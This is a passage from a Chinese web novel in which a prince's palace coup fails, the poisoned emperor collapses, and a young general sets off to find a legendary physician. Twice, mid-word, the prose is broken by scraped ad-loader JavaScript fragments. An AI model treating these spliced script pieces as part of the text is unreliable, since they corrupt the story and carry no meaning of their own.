“何时?”祁晖珉冷笑一声,眼中满是不甘,“我本就是长子,我的出生并不低,那个位置我自然有一争之力。可为何祁晖珏出生后,那个位置就与我彻底无缘!论出身,我母妃出身谢家,家族显赫,论智谋,我不差分毫,论才情,我亦不逊于人。我到底哪里不如他?” “智谋?才情?”事已至此,承武帝不再留情面,“你有这些东西吗?你对政事一窍不通,上看不起文臣武将,下蔑视黎民百姓,你这种人还想当皇帝?” “借口!”被承武帝如此不留情面地训斥,祁晖珉脸色涨得通红,情绪激动地说道,“明明是你只宠爱皇后所出的太子!” 承武帝对此倒是无可辩驳。毕竟,珏儿是他心爱的女子所生之子,他自然会多几分宠爱。然而太子之位的确定,他亦是经过了深思熟虑。 在立珏儿为太子之时,祁晖珉已经十岁,那时几个孩子的资质已能看出一二。珏儿天资聪颖,且又是嫡子,立他为太子,确实是众望所归。 “被我说中了吧。”祁晖珉冷笑着,一步一步踏上丹墀,试图靠近承武帝。然而,宁渊手中的剑瞬间横在他面前,拦住了他的去路。祁晖珉却并不以为意,他依旧站在丹墀之上,紧紧盯着承武帝,说道:“父皇,我同样是您的儿子,这个位置我自然也有资格坐,您觉得呢?” “朕觉得不可。”承武帝眼皮子都没抬一下,语气平淡却带着不容置疑的威严。 祁晖珉大怒,“那就只能请父皇退位让贤了!” 承武帝神色依旧淡漠,并未将他放在眼里。 祁晖珉冷哼一声,击掌为号。殿内数十位大臣立即站立起身,朝承武帝跑来。 他们手中紧握着短剑,也不知他们是如何逃过侍卫们的检查。 祁晖珉原以为自己的计划天衣无缝,武将皆在外面御敌,殿内只剩文臣,毫无武力。这么多人冲向丹墀挟持皇帝,文武大臣必然投鼠忌器,不足为惧。 可没想到,那些人还没跑几步,就被原本躺在地上的文臣瞬间按趴在地。他们手中的短剑也被迅速夺下,根本无力反抗。 太傅孙佑延拿起剑柄狠狠敲击胆敢犯上作乱的吏部侍郎,“缙大人,你们似乎忘了,我们虽是文臣,但君子六艺均有涉猎。” 孙佑延常年在外云游,他的骑射功夫更是出类拔萃,抓捕几个同是文臣的叛贼简直易如反掌。 “哇,三十对八十,想要一打二,怎么打。”金銮殿门口柱子后的小侍读探出头来,满脸的不可思议,“剑都拿不稳就想越过这么多大臣,劫持陛下,他们哪来的勇气。” 在他身边同为翰林院侍读的好友无奈地把他按回柱子后,低声说道:“你可闭嘴吧,小心他们恼羞成怒,你成为宫变中唯一被叛贼斩杀的朝廷官员。” 离他们最近,同样被按在地上的翰林院编修垂头丧气,懊悔不已,本以为那些老臣们年老体衰,平时走两步就晃悠,仿佛下一秒就会断气。 没想到他们抓反贼时如同吃了十全大补丸一般,个个容光焕发。甚至还有人因为起来慢了没打到反贼,只能揍了几下那些手快的年轻官员。 祁晖珉精心策划的谋反,此刻就像一场荒唐的笑话。他面色阴沉,死死地看着那群出师未捷身先死的废物。 不过,金銮殿外渐渐平息的厮杀声让他重新露出了得意的笑容,“你们似乎忘了外面还有本王的兵马。” 说到兵马,殿内众人都心中疑惑。宣王并无兵权,仅靠豢养的私兵怎么可能有这么多人?就算有武将倒戈,可听着外面这动静,数目也完全对不上。 宣王的人究竟是从哪来的? 这事不仅大臣们纳闷,就连承武帝也十分疑惑。 不过此时显然不是追根究底的时候,这么久以来,承武帝终于正眼看向自己的长子,“朕再给你上最后一课,谋大事若未尘埃落定不要高兴得太早。” 祁晖珉惊疑不定地看着父皇,不知道他这是什么意思。 承武帝却没有解释,只是轻轻动了动手指。 房梁上突然跳下几个全身用黑布捂得严严实实的人。他们一齐打开金銮殿的大门后,向承武帝恭敬行礼,便迅速消失在阴影中,仿佛从未出现过一般。 “这……”祁晖珉瞪大了眼睛,急切地搜寻着房梁,但无论他如何仔细寻找,都看不见有人躲藏在里面的痕迹。 父皇手中居然还有这样的人手…… 祁晖珉心中震惊,难怪方才他手下的人冲出来时父皇半点不慌,即便大臣们不出手,他的人也根本奈何不了父皇。 想到这里,他的心中忽然涌起一股强烈的不安。 很快他就没心思关注那几个黑衣人,打开的大门处,走进几个身穿铠甲的武将。祁晖珉本以为是自己的手下,但随着他们走近,竟然是秦柏、刘浚、崔沭等人。 祁晖珉的脸色瞬间灰败,他的双眼中满是不甘。秦柏居然这么快就回来了。 他呆呆地看着秦柏等人一步步走近,他知道,自己所谋划的一切都已化为泡影,大势已去,他再无翻身的可能。 秦柏等人快步走至承武帝下首,齐齐跪地行礼:“臣等护驾来迟,请陛下恕罪。” “诸位爱卿辛苦了。”承武帝示意他们平身,他注意到秦柏身边的秦熠,连忙问道:“明安可回来了?” “回禀陛下,郡主挂念皇后娘娘,已去后宫了。”秦熠躬身回道。 “大善!”承武帝终于露出了这段时日最真心的笑容,一侧的宁渊神色也随之放松下来,紧绷的身体微微舒展。 承武帝又扫视一圈,疑惑道:“长公主也去后宫了?” 手中拿着包裹的秦柏没有回答,反而上前一步,“陛下,臣有要事禀报。” 承武帝这才注意到秦柏手中还拿着一个包裹,他神色一正,心中明白,想必这就是明安从苍荻带出来的东西。 “退朝吧。”承武帝点了几位大臣,“你们都去御书房。” 他站起身要离开时,看到满脸颓丧的祁晖珉,似乎才想起还有个犯上作乱的儿子。承武帝嫌弃地摆摆手,“把这些人通通关起来。” 一连上了两天一夜的早朝终于散朝,浑身疲惫的朝臣们互相搀扶着走出金銮殿,他们仰头看着阴沉了数日的天空终于下起了大雪。 雪花覆盖在屋顶和地面上,天地间白茫茫一片,将所有痕迹都隐藏在了洁白的积雪下,只留下一片宁静祥和。 进了皇城就与大军分道扬镳的宁玉瑶,在定北军的护送下向德清宫赶去。 因祁晖珉将兵力都集中在金銮殿的缘故,后宫极少有叛军,偶有几条漏网之鱼,也不是定北军的对手。 他们一路顺畅地来到了德清宫。然而,德清宫外的叛军数目远超其他地方,显然,祁晖珉似乎也想要劫持皇后和五皇子来胁迫承武帝。 宁玉瑶赶到时,德清宫的大门已经被撞开,宫中侍卫们正围在正殿前,奋力抵挡叛军。他们身上满是伤痕,却依然没有退缩半步。 定北军立即冲上去支援,叛军在此的人数再多,也不是定北军的对手,很快叛军便被清剿一空。 待兵士们将尸首都拖至一旁,宁玉瑶迫不及待地上前拍门,“舅母!叛军已被剿灭,瑶儿回来了!” 几乎是瞬间,门被打开。白珊带着宫侍们在门边齐齐行礼,“郡主万福金安。” “白珊姑姑无需多礼。”宁玉瑶匆匆对白珊颔首示意,急切地走向皇后,“舅母!瑶儿回来了!” “瑶儿,真的是瑶儿。”皇后忍不住站起身迎了上来,她伸出双手,想要搂住宁玉瑶。 然而,宁玉瑶却往旁边闪躲,羞赧道:“舅母,瑶儿身上脏,别污了您的衣裳。” “傻孩子。”皇后眼中含泪,强硬地将宁玉瑶抱在怀中。她任由宁玉瑶身上的血渍和泥土蹭上华贵的凤袍。“瑶儿是最干净漂亮的孩子,一点都不脏。” “舅 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 母,瑶儿好想您。”宁玉瑶无法挣脱,只好将头埋在皇后怀里,软软地撒娇。 “心肝,你可真是要了舅母的命。”皇后紧紧抱着宁玉瑶,积攒多日的泪水止不住地往下流。“以后可别再这样吓唬舅母了。” “嗯!”宁玉瑶用力点头。 正殿内的温情不过持续了片刻,便被殿外一阵大呼小叫打破。 “母后,母后!” 白珊和宫女们赶紧上前,服侍皇后和宁玉瑶擦去脸上的泪水。 刚收拾妥当,一个小胖子便风风火火地冲了进来。 来人正是五皇子祁晖琅。事发之时,他正偷偷在百兽园内看白熊。叛军进园搜查时,他躲进了白熊群中,叛军想要射杀他,却激怒了白熊,那几只成年白熊凶猛无比,活生生拍死了十几人。 自那以后,没人再敢靠近百兽园。这两日,他一直都在百兽园中被白熊们护着。他本想让白熊来救母后,可白熊们根本听不懂他说的话,也不愿意离开百兽园。他怕惹怒白熊,只得无奈放弃。 直到方才,祁晖琅看到定北军的旗帜,又亲眼目睹定北军剿灭叛军。他这才敢从藏身之处走出来,定北军的将士们见到他,立即护送他来了德清宫。 祁晖琅一看到皇后身边的年轻女子,顿时瞪大了眼睛,皇后正要打趣儿子,却听他尖叫道:“阿姐!” 祁晖琅满身泥土草屑,两姐弟谁也没比谁干净,他一点也不嫌弃宁玉瑶身上的血污,快速向宁玉瑶扑来。 一旁的白珊和宫女们脸色一变,赶紧拦住他。这小祖宗现在要是还像小时候那般莽撞地撞向郡主,真能给郡主撞出个好歹来。 好在被拦了一下,祁晖琅自己也反应过来,停下脚步,站在宁玉瑶身前。他的眼睛亮晶晶的,满是欢喜地看着她,“阿姐回来了!” “回来了,”宁玉瑶戳戳祁晖琅的额头,“小五都长这么高了。” “阿姐!”祁晖琅被戳了也不觉得疼,他一把抱住宁玉瑶的腰,嚎啕大哭,“阿姐!你可算回来了,你不在的时候皇兄总欺负我,呜呜呜……” “小五都七岁了,还哭成这样,羞不羞。”宁玉瑶从白珊手中接过帕子,将祁晖琅脸上的涕泪细致地擦干净。 皇后在一旁看着,心中满是酸楚,瑶儿这一路想必吃了大苦。出去前,何时自己动手照顾过别人,现在照顾小五也有模有样了。 祁晖琅才不管什么羞不羞呢,他使劲摇着宁玉瑶,“阿姐,你要帮我教训皇兄!” “教训我什么?”一道清朗的少年声音从门外响起。 祁晖琅一听这声音,赶紧放开宁玉瑶,慌张地躲到她身后,可惜宁玉瑶实在遮挡不住他胖墩墩的身体。 殿内众人纷纷行礼:“见过太子殿下。” “母后。”祁晖珏稳步走进殿内,向皇后行礼,他没管怂成一团的弟弟,而是看向身形消瘦的宁玉瑶,他庄重地向宁玉瑶俯身行了个大礼,“阿姐一路辛苦了。” 宁玉瑶被他这般举动吓了一跳,下意识地欲上前扶他起来。皇后伸手拦住她,含笑道:“瑶儿,你当得起。” 她微微一愣,但被皇后拉着,只得站着受了这个礼。 祁晖珏一礼完毕,才对皇后说道:“母后,今日事务繁多,既然德清宫内平安无事,儿子先去御书房了。” “快去吧,正事要紧,后宫有母后,你和父皇都不用担心。”皇后颔首应道。 祁晖珏对宁玉瑶笑了笑,然后拖出她身后的蠢弟弟,在弟弟脑门上使劲弹了一下,“别乱告状。” 祁晖琅捂着脑袋,委屈地看着皇兄,又不敢反驳,祁晖珏这才满意地转身离开德清宫。 “母后,阿姐!你看皇兄!”祁晖琅捂着额头,委屈地抽抽嗒嗒告状,圆嘟嘟的脸蛋因为疼痛皱成一团。 宁玉瑶憋着笑,轻轻揉了揉他发红的额头。皇后看不过眼,将儿子拽过来,满脸无奈地说道:“你就不能长长记性?明知道自己打不过皇兄,还总要撩拨他。” 皇后语气中虽带着责备,但更多的是关爱。她絮叨着训斥小儿子,宁玉瑶在旁笑眯眯地看着,这幅场景一如从前。 白珊侧过头轻轻拭去眼角的泪水,恰巧宫门外有小宫女向她福了福身,白珊转头轻声道:“娘娘,汤池已经准备好了。” “好。”皇后放过小儿子,拉着宁玉瑶的手,“你这一路辛苦,去泡下汤池解解乏。” 宁玉瑶也不跟皇后客气,这么多日没有梳洗,她也有些难以忍受,“多谢舅母。” 等宁玉瑶跟着宫女退了出去,皇后才看向小儿子。她的眼神严肃,语气也变得严厉起来,“以后别再瞎跑,知道吗?这次若不是有白熊护着你,后果不堪设想。” 叛军刚来时,她就赶紧派人去找小儿子。得知儿子在百兽园被白熊护住,她尽管心急,却也没有办法,只得让儿子继续留在那里。 祁晖琅知道这次让母后担心了,他心虚地低下头,不敢看皇后的眼睛。 皇后又后怕地戳了戳他的额头,“你这么胆大!珏儿还是打轻了!” “母后……”祁晖琅撅着嘴,他知道错了,但他也觉得自己很委屈。他只是想去看白熊,没想到会遇到叛军。 “你也赶紧去洗干净,别在这里碍眼。”皇后看着儿子那副模样,又好气又好笑。 “哦。”祁晖琅垂着头,沮丧地走出德清宫。 德清宫外的尸首和血迹已经被清理干净。 皇后站在大殿门前看着纷纷扬扬飘落的漫天大雪,叹了口气,“没想到十八年前的事还会再经历一遍,方才瑶儿满身鲜血冲进来的时候,本宫突然想起当年阿姐也是这般冲了进来护在我们身前。” “明安郡主毕竟是长公主殿下的女儿,”白珊取来斗篷,轻轻披在皇后肩上,“虎母无犬女。” “虎母无犬女,”皇后轻轻念了一句,似乎被她这句话逗笑,“瑶儿是个赤诚的好孩子。” 112.承诺 叛军被清剿后,宫内迅速恢复了往日的秩序。宫人们忙碌地穿梭于各个宫殿之间,整理着被叛军扰乱得有些凌乱的宫殿。 宁玉瑶刚收拾妥当,依偎在皇后身边没说几句话,苏德茂神色匆匆地走进来,一见到皇后,便急忙禀告道:“娘娘,陛下方才晕倒了。” 皇后连忙站起身来,“快,摆驾!” 一旁的宁玉瑶赶紧跟上去,“舅母,瑶儿也想看看舅舅。” 皇后伸手拉着宁玉瑶的手,柔声说道:“来吧,陛下也很想念你。” 一行人快步走进乾元殿。 寝殿外,数位大臣忧心忡忡地在外等候,想来是在议事之时,承武帝忽然晕倒,大臣们不敢擅自离开。 诸位大臣们见到皇后前来,纷纷恭敬地行礼。随后,当他们看见跟在皇后身边的宁玉瑶身上时,又齐齐弯下腰,一揖到底,齐声说道:“郡主大义。” 宁玉瑶连忙上前,双手扶起大臣们,谦逊地说道:“大人们过誉了,明安亦是大宸人,为国尽忠,为君分忧,都是明安该做的。” 大臣们直起身来,不再耽搁皇后与宁玉瑶的时间,侧身示意二位快请进。 皇后在旁思绪万千,想必瑶儿在苍荻拿到了不得了的东西,才会让这些大臣对瑶儿如此礼遇。难怪他们一路如此凶险,好在瑶儿能平平安安地回来了。 “你这孩子……”皇后握着宁玉瑶的手轻叹了口气。 待进到寝宫,宁玉瑶便看见站在龙榻不远处的那道熟悉身影。她轻轻走过去,唤了一声:“爹。” 宁渊转过身来,凝视着自己一年多未见的女儿。他抬起手,温柔地轻抚她的秀发,轻声道:“瑶儿辛苦了,回来就好。” 宁玉瑶眉眼弯弯,冲着宁渊轻轻一笑,不再说话,而是与父亲一同看向龙榻。 承武帝此时双目紧闭,面色苍白,还未醒来。 看着承武帝虚弱的模样,宁玉瑶与家人久别重逢的喜悦瞬间消散,舅舅比一年前更加虚弱了。 陆院正凝眉,满脸严肃地将手指轻轻搭在承武帝的手腕上,寝宫内所有人都安静地等待着陆院正的诊断结果。 过了片刻,陆院正缓缓松开手,神色凝重。 皇后心急如焚,连忙问道:“陛下龙体如何?” 陆院正愁眉紧锁,嘴唇微微翕动,却不知该从何说起。陛下中了春玉娅与归霞草之毒,身体本就日益虚弱。宫变时,陛下虽未受伤,可熬了两日,使得陛下的身体状况比之前愈发糟糕了。 在场众人见陆院正如此模样,心中猛地一沉。 宁玉瑶心中更是又惊又惧,她刚刚归来,都还没来得及与舅舅好好相聚,难道这么快就要失去舅舅了吗? 正当她不知如何是好时,突然想起了自称大宸医术第一的江老。她连忙问陆广维:“陆院正,您知道一位姓江的老医生吗?” “江?”陆广维脸上露出不解的神情。 在场众人皆感疑惑,不明白宁玉瑶为何在此时提起无关之人。但屋内都是宠爱她的长辈,无人出声制止。 “对,姓江,江老已经九十高龄,没告诉我他的名字,但他似乎认识您,”宁玉瑶急切地点头,又小声道,“而且江老好像很看不上您,不会是您的仇家吧?” 九十岁的江老,还看不上太医院院正,陆广维顿时激动之情溢于言表。他声音颤抖地说道:“是师父!那位江老肯定是下官的师父!” 陆广维激动不已,他没想到在这个关键时刻,竟然听到了师父的消息。师父的医术高超,如果师父能来为陛下诊治,或许陛下还有一线生机。 在场众人除了宁玉瑶和太子,都知道陆院正师承大名鼎鼎的神医江思明。江神医医术精湛,妙手回春,曾救治过无数疑难杂症患者。 只是江神医二十年前便销声匿迹,当时江老就已有七十岁高龄,几乎所有人都以为他老人家已经仙逝,没想到,居然被宁玉瑶遇上了。 陆广维激动得双手颤抖,急切地问:“敢问郡主,您是在何处遇见师父的?” “苍荻边镇悬崖下的一个小村子里。”宁玉瑶将当初她和秦熠被江老救下的事详细地说了出来,越说陆广维越相信这就是他师父。 待他替宁玉瑶把过脉后,心中更是笃定,“就是师父,只有师父有这一手药浴的好本事。郡主的身体已经十分康健,就连胎里带的体弱也治好了。” 众人大喜,没想到宁玉瑶这一次还有如此奇遇。 “陆院正,江老能治好舅舅吗?”宁玉瑶期待地问。 “这……”陆广维不知如何回答,医术之事没有人敢托大,他也不敢替师父夸下这个海口。 “不论如何都要试上一试。”皇后当机立断,陛下病情危急,任何一丝希望都不能放过。她转头看向宁玉瑶,“瑶儿你还记得那个村子在何处吗?” 宁玉瑶脸上露出一丝苦恼,当时他们出了小谷村就去了国都,然后从锦州天险回的大宸,还真不知道该如何从大宸直接去小谷村。她只知道从掖州河跳下去可以抵达,但那条水路太过凶险,肯定不行。 “熠哥哥应该知道。”她只得小声说。 皇后听到宁玉瑶的话,不禁失笑。她也是一时情急,忘了瑶儿也只是千金小姐,哪会辨别方位。 她立刻命人将秦柏父子叫进来。 秦柏和秦熠一路厮杀回到雁京,平叛之后又立即进御书房商议苍荻之事。此时,他们依旧是那一身满是血污的铠甲,铠甲上的血迹已经干涸,上面满是暗红色的斑块。 父子二人进了偏殿,便立即跪地向皇后请罪:“参见皇后娘娘,臣等身着脏衣前来觐见,实乃大不敬之举,请娘娘责罚。” 皇后连忙说道:“将军浴血奋战,何罪之有,快快请起。” 待二人起身,皇后直接开口问道:“秦熠,若让你回小谷村带回江老,你可有把握?” 虽然不知道皇后为何会提起江老,秦熠毫不犹豫地点头,“臣必将全力以赴。” 皇后见秦熠如此果断,心中稍安,便对陆院正示意。 陆广维立即上前,轻声对秦家父子说明江老对陛下的重要之处。秦熠满脸严肃地点头,郑重道:“娘娘放心,臣必会尽快将江老带回来。” “娘娘,”陆广维上前一步,郑重道,“微臣请旨与秦都司一同前往。微臣的师父生性固执,若只秦都司一人前去,臣恐秦都司劝不动他,耽误时间。” 皇后担忧地看了一眼龙榻上躺着昏迷不醒的承武帝,迟疑地问道:“陛下这边?” “请娘娘放心,陛下的诊治方案皆是臣与方太医一同商议而定。如今臣虽离开,但有方太医在,亦是一样。”陆广维恭敬地回答。 然而皇后明白他话中未尽之意,如今陛下病情已然十分严重,最好的情况也不过是再拖个一年半载。当下当务之急,仍是赶紧将江太医带回来,或许还有一线转机。 皇后沉思片刻,最终下定决心,“准。” 秦熠和陆广维立即躬身告退。 “我……”宁玉瑶看着秦熠转身要走,下意识就要跟上。 皇后见状,对身边的白珊使了个眼色。白珊心领神会,连忙上前扶住皇后,惊慌地惊呼:“娘娘!” 宁玉瑶听到呼声,急忙转头,快步走到皇后身边,焦急地问道:“舅母您怎么了?” “舅母没事,就是有些担心害怕。瑶儿,你这几日在宫中陪着舅母可好?”皇后一脸害怕地紧紧握住宁玉瑶的手。 宁玉瑶信以为真,连连点头。 另一边,秦柏从牙缝中挤出几个字:“还不快滚。” 秦熠连忙拉着陆院正轻手轻脚走出偏殿。他的心中暗暗松了一口气,背后流下几滴冷汗。玉瑶刚回来不到一天,要是又跟着他跑去苍荻,那一屋子的长辈绝对能活撕了他。 看着秦熠一脸后怕的模样,陆广维觉得有趣,但事关明安郡主的清誉,他也不敢打趣秦熠。便只谈正事:“秦都尉,虽然事情紧急,但苍荻回大宸之路遥遥。师父毕竟年事已高,经不起太多折腾,我们还是得做好万全的准备才是。” “陆院正思虑周全,人手的事情交由下官。江老回来路途上的生活用具便交给您了。”秦熠点头应道,如此正好能让他回家看望母亲和祖母。 陆院正没再多寒暄,拱手与秦熠约定稍后城南见,便匆匆返回太医院。 秦熠翻身上马,扬鞭朝着秦将军府的方向奔去。 刚靠近秦将军府大门,那熟悉的朱红色大门映入眼帘,府内的侍卫们眼尖,远远地就看见了秦熠,“是少爷!” “熠小子回来了!”府内顿时一片骚动,下人们纷纷奔走相告。 秦熠回过神来,笑容满面地跟闻讯跑出来的侍卫们打着招呼:“王叔身体可还好?赵哥腿还疼吗?府里都好吗?” “好!都好!” “府里有我们看着,熠小子你放一百个心!” 侍卫们簇拥着秦熠往后院走去,一路上热闹非凡。走到后院门口,远远地看着秦夫人和秦秀灵匆匆向这边走来。 侍卫们见状,就要散去,秦熠叫住他们,“王叔,点一群兄弟,待会儿跟我出一趟远门。” 这次他不打算带定北军,定北军的兵士们一路从定州到锦州,再回雁京平叛,早已人疲马乏。这次他只是偷偷潜入苍荻带回江老,带着自己府中的侍卫便已足够。再不济,长公主殿下正在秧州,到时候找长公主借兵便是。 侍卫们闻言面面相觑,脸上露出惊讶之色。这才刚回来,又要出去了? “熠小子不用过晚膳再走?”王叔试探着问道。 秦熠没有回答,只是笑道:“事情紧急,劳烦王叔让兄弟们抓点紧了。” 既然此事是正事,即便他们已经从定北军退下,也依旧习惯了服从命令。王叔点头应下,立刻带着人下去准备。 “熠儿!” 秦熠听到母亲的呼声,连忙转身迎上母亲和姐姐,“娘!阿姐!我回来了!” 两年未见,又数次传来死讯的儿子终于回来,秦夫人的眼眶瞬间盈满泪水。她的心中似有千言万语要说,却在这一刻,都化为了无尽的激动与喜悦。 秦夫人一把抱住高大的儿子,边哭边锤打着秦熠,声音中满是责备与心疼:“你怎么这么淘气!上天下海哪都钻,知不知道娘和祖母有多担心!你这孩子,就不能让人省点心吗?” 秦熠弯着腰,任由母亲捶打着自己。这两年让家人担惊受怕,他亦心中愧疚,“娘,您别哭了,儿子现在好好回来了。” 说着,他向一旁的秦秀灵求救般地挤眉弄眼。 秦秀灵在旁笑着看一阵,才上前来劝道:“娘,祖母还在等着呢。别让祖母等太久了,咱们赶紧让弟弟去见见祖母吧。” 秦夫人这才松开秦熠,她擦了擦眼泪,赶紧推秦熠去正院,“快去看看祖母,这两年,祖母一直都很担心你,日夜盼着你回来,你可一定要好好陪陪祖母。” 秦熠点头,快步走到正院。秦老夫人正拄着拐杖站在门口,焦急地张望着。秦熠鼻头发酸,出去两年,祖母如今愈发苍老了,曾经挺直的脊背已微微弯曲,头发也更加花白, 他冲上前,双膝跪地,在秦老夫人身前重重地磕了个头,“孙儿不孝,让祖母担心了。” “回来就好,回来就好。”秦老夫人一边抹着眼泪,一边伸出颤抖的双手扶起孙子。她的眼中满是慈爱,并未责怪他。 秦熠站起身,小心翼翼地扶着秦老夫人向屋内走去,秦夫人和秦秀灵也跟在后面走了进来。现在,除了仍在宫中的秦柏,一家人总算又团聚了。 待秦老夫人坐下,秦熠没有好好坐椅子,只是坐在主位的脚踏上,挨着秦老夫人的腿。 秦夫人看着秦熠仍未加冠的束发,“你已经二十一了,过几日办个加冠礼,如何?” 秦 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 熠生在八月二十七日,本应去年就行冠礼,结果去年二十岁的时候遇上刺客不知所踪。如今回来了已经是十一月了,确实不宜再继续拖下去了。 秦熠笑嘻嘻道:“不急,儿子还得出去一趟。” 秦老夫人轻抚孙儿头发的手一顿,轻声问道:“怎么刚回来就要出去。” 秦老夫人嫁进秦家已经四十余年,年轻时,她在家中日夜担忧着战场上的丈夫,中年时,又亲自送儿子去边关,等到老了,还要在家中牵挂着孙子孙女。 虽然秦家满身荣耀,但其中的苦楚只有她自己知道。 有些事秦熠不能说,他只好嬉笑着扭头看向秦老夫人,“雁京天凉了,孙儿想去南边打一对大雁。” 大雁象征着忠贞不渝,秦熠亲自打的大雁,代表着他的承诺。 屋内女眷们哪能不知道秦熠没说实话,但她们也不会多问,只是顺着他的话打趣道:“哟,秦小将军这是瞧上哪家的姑娘了,还巴巴地跑去南边打大雁。” “哎呀,娘,您明明知道的。”一向厚脸皮的秦熠,在谈到婚嫁之事时,却脸颊微微泛红,有些带上了一丝羞涩。 “娘可不知道,你要是不说就别怪娘乱点鸳鸯谱了。”秦夫人老神在在地饮了口茶。 “就……就是明安……”秦熠知道母亲在逗他,但也只能垂着头,支支吾吾地说道。 果然,此话一出,秦家祖孙三人笑得前仰后合。 秦熠只能无奈地等着这三个自己惹不起的女人笑够再说正事。 他看着眉间带着一抹轻愁的秦秀灵,眼睛一转,问秦道:“阿姐,你要不要跟我去南边玩一玩,我们跑快点,应该能赶上过年。” 秦老夫人婆媳两对视一眼,她们从秦熠的话中听出了一些端倪。看样子秦熠这趟出去虽然紧急,但并不危险,不然不会叫上秀灵,既然这样,她们便放心了许多。 秦秀灵闻言不由得有些意动,她出嫁前一直待在雁京,嫁去定州后便再也没有离开过。现在能有机会去南方,却又放心不下母亲和祖母,犹豫着没有回答。 “秀灵想去便去吧,现在叛乱已平,你不用担心我们。”秦老夫人哪能不知道孙女在雁京过得不痛快?她希望孙女能够有机会出去散散心。 “去吧,你父亲也在家中,不用担心。”秦夫人也劝道。 “那我去收拾东西。”既然祖母和母亲相劝,秦秀灵不再纠结。她兴高采烈地起身回自己院子收拾东西。 看着女儿欢快的背影逐渐远去,王管事此时也静静地站在门外。 秦夫人拿起手中的帕子,轻轻地擦去秦熠脸上的血污,“你也赶紧去梳洗一番吧,王管事在外面等着,想必他们已经准备妥当了。” “祖母,母亲,熠儿先走了。”秦熠再次给秦老夫人磕了个头,然后他爬起来,蹭到秦老夫人身边,“祖母,你可要记得帮帮孙儿!” “记得记得!”秦老夫人笑呵呵地应着。 秦熠这才心满意足地窜了出去。 “一转眼孩子都长大了,惦记着娶媳妇了。”秦夫人看着儿子依旧没个正形的背影,无奈地摇头笑道。还特地求祖母寻个全福太太来当冰人,替他说媒。 “这冰人的人选可得好好挑一挑,到时候你记得跟长公主殿下通个气。”秦老夫人拍拍儿媳的手。 秦夫人应下,却忽然想起今日来人通传消息时,好像并未有人提起过长公主殿下。她小声道:“殿下似乎未归。” “如此,那便等殿下回来再说,但不论如何,该准备的东西秦府都应先准备好。”秦老夫人吩咐。 秦夫人应下,又想到马上就是年关,郡主又在外流落了一年。宫中和殿下想多留郡主在身边一阵子也未可知。 但不管长公主与诚国公是何想法,秦府都应早做准备,不能失了礼数。 所有人都知道,想要迎娶明安郡主,这事急不得,只除了秦熠。 秦熠火急火燎地让小厮拿刷子将他刷洗干净。然后赶紧换上簇新的铠甲,带着秦秀灵和侍卫们在城南与陆院正会和,一行人废话不多说,快马冲出雁京。 不管于公于私,秦熠都想要早去早回。 自从出了雁京,秦秀灵脸上暗藏的郁色彻底消散无踪。 秦熠有些担心地看着秦秀灵,“阿姐,在雁京有人为难你吗?” 他虽然不懂女子之间的事,但也知道秦秀灵在边关待了十多年,后面几年更是在沙场上出生入死。如今的她,身上早已看不出曾经名满雁京的秦家大小姐的风姿,与京中贵女们格格不入。秦熠自然会担心阿姐遭到他人刁难。 “她们并不曾为难我。”秦秀灵笑道,“少看些话本子,不说有些本就是我的闺中好友,就父亲如今的身份地位,谁敢给我难堪。” 这一年来,虽然说是为了在家中陪伴长辈才极少外出,但最初曾经的闺中好友相邀时,秦秀灵亦会应邀前往。只是她的好友们都已嫁人生子,已婚妇人聚在一起难免会聊起孩子。 虽然她们顾及她夭折的两个孩子,最开始不小心提及都会马上转开话题,此后数次也不再提这些。但如此小心翼翼,不仅她不自在,那些好友们也有些拘谨。如此她们便渐渐少了来往。 她们都是极为要好的友人,只是横亘在她们之间的不止是十多年时光,还有不同的经历,使得她们如今的为人处事已大不相同。 其实哪种生活都有其美好之处,但她早已习惯了定北营中无拘无束的生活,在雁京里关得久了,难免会感到郁闷。 “好了,不说这些。”秦秀灵扯开话题道,“现在可以说去做什么了吧?” “去接我的救命恩人。”秦熠顺着阿姐的问题朗声笑道。 “哦?”秦秀灵真来了兴致,追问道,“快说说当时发生了什么。” 听到这话,周围的秦府侍卫都驱马围了上来,就连马车里的陆广维都探出头来,目光炯炯地看着秦熠。 113.薨逝 尽管一行人急着赶路,也丝毫不影响他们疾行途中听秦熠讲述他这一年的种种经历。 秦熠虽说并未过多地提及明安郡主,可秦秀灵侧首瞧见弟弟眼中温柔的笑意,便能够猜到这一年对于他们而言,也并非全都是困苦艰难。 细细想来,凭借着弟弟的本事,只要能够活着,无论身处何地,他必定能够过得不错。 当众人听秦熠说到江老毫不掩饰地对陆院正表示嫌弃,甚至恨不得立刻跟陆院正撇清关系时,侍卫们纵然不敢明目张胆地笑出声,但他们的眼里满满的笑意却是怎么也隐藏不住。 陆院正倒也不在意,毕竟从小师父就一直嫌弃他资质愚钝,他也自认确实比不上师父。如今得知师父竟然还活着,他的心里唯有欢喜。 群马风驰电掣般奔腾向前,留下飞扬的尘土以及一路接连不断的欢声笑语。 乾元殿中,已经醒来的承武帝也躺在龙榻上,听着宁玉瑶绘声绘色地讲述她与秦熠大闹朱府和国师府中的精彩之事。 太子和小五满脸惊叹地望着眉飞色舞的阿姐,没想到阿姐这么厉害! 承武帝和皇后相视而笑,他们眼中都有着对孩子的心疼。 尽管宁玉瑶刻意地隐藏了这一路所经历的艰辛。然而,两个孩子远在异国他乡,本就有着诸多不便。他们还要想办法拿到大宸朝臣通敌叛国的证物,这期间的担惊受怕可想而知。 更不必说他们在刺杀苍荻王和国师之后,又火烧国都,随后遭到苍荻举国追杀时的困境。 只是孩子不想让他们担心,他们便心领了这份好意。 宁玉瑶滔滔不绝地讲了许久,说得有些口干舌燥。一旁的苏德茂连忙亲自端上茶水,现在这祖宗可是真祖宗了,可得好生伺候着。 宁玉瑶接过茶水,直接牛饮,一饮而尽。 承武帝和皇后见了她这般不拘小节的模样,眉头都没皱一下,反而笑着说道:“把我们明安渴成这样,苏德茂办事不力,该罚。” 苏德茂一听,连忙殷勤地陪笑着说道:“奴才知错,请郡主责罚。” “那就罚苏公公再倒一杯茶来。”宁玉瑶笑着将茶盏递给苏德茂。 苏德茂赶紧接过,换上一杯温热的茶水,“郡主请用茶。” “有劳苏公公。”宁玉瑶笑眯眯地又饮完一杯,转头看见一直含笑看着她的承武帝。 她趴在龙塌边沿,歪着头对承武帝撒娇问道:“舅舅高兴吗?” 此时在长辈面前的宁玉瑶又是一副小女儿娇态。 